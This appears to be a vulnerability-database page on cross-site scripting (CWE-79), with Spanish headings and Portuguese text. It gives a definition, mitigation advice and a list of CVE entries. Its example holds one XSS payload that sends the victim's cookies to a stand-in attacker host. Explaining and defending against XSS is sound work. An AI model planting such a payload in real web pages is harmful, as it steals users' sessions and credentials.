Fallos del tipo CWE-79

28.649 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2022-0858MEDIUMCross-site scripting vulnerability in ePOEPSS 0.8%CVE-2021-31848HIGHData Loss Prevention (DLP) ePO extension - Cross site scripting (XSS)EPSS 0.8%CVE-2022-20959MEDIUMCisco Identity Services Engine Cross-Site Scripting VulnerabilityEPSS 0.8%CVE-2022-44897MEDIUMA cross-site scripting (XSS) vulnerability in ApolloTheme AP PageBuilder component through 2.4.4 allows attackers to execute arbitrary web sEPSS 0.8%CVE-2022-41391CRITICALOcoMon v4.0 was discovered to contain a SQL injection vulnerability via the cod parameter at showImg.php.EPSS 0.8%CVE-2024-50861MEDIUMThe ip_mod_dns_key_form.cgi request in GestioIP v3.5.7 is vulnerable to Stored XSS. An attacker can inject malicious code into the "TSIG KeyEPSS 0.8%CVE-2019-1838MEDIUMCisco Application Policy Infrastructure Controller Web-Based Management Interface Cross-Site Scripting VulnerabilityEPSS 0.8%CVE-2023-36416MEDIUMMicrosoft Dynamics 365 (on-premises) Cross-site Scripting VulnerabilityEPSS 0.8%CVE-2021-4222—WP Paginate < 2.1.4 - Admin+ Stored Cross-Site ScriptingEPSS 0.8%CVE-2022-38467MEDIUMWordPress CRM Perks Forms Plugin <= 1.1.0 is vulnerable to Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.8%CVE-2021-29104MEDIUMThere is a stored Cross Site Scripting (XXS) vulnerability in ArcGIS Server Manager version 10.8.1 and below.EPSS 0.8%CVE-2021-25024—Event Calendar < 1.1.51 - Reflected Cross-Site ScriptingEPSS 0.8%CVE-2021-24923—Newsletter, SMTP, Email marketing and Subscribe forms by Sendinblue < 3.1.25 - Reflected XSSEPSS 0.8%CVE-2024-33326MEDIUMA cross-site scripting (XSS) vulnerability in the component XsltResultControllerHtml.jsp of Lumisxp v15.0.x to v16.1.x allows attackers to eEPSS 0.8%CVE-2017-16774MEDIUMCross-site scripting (XSS) vulnerability in SYNO.Core.PersonalNotification.Event in Synology DiskStation Manager (DSM) before 6.1.4-15217-3 EPSS 0.8%CVE-2020-5269MEDIUMReflected XSS on AdminFeatures page of PrestaShopEPSS 0.8%CVE-2026-45644HIGHMicrosoft Live Share Canvas SDK Elevation of Privilege VulnerabilityEPSS 0.8%CVE-2021-4170HIGHCross-site Scripting (XSS) - Stored in janeczku/calibre-webEPSS 0.8%CVE-2020-5278MEDIUMReflected XSS on Exception page of PrestaShopEPSS 0.8%CVE-2020-5276MEDIUMReflected XSS on AdminCarts page of PrestaShopEPSS 0.8%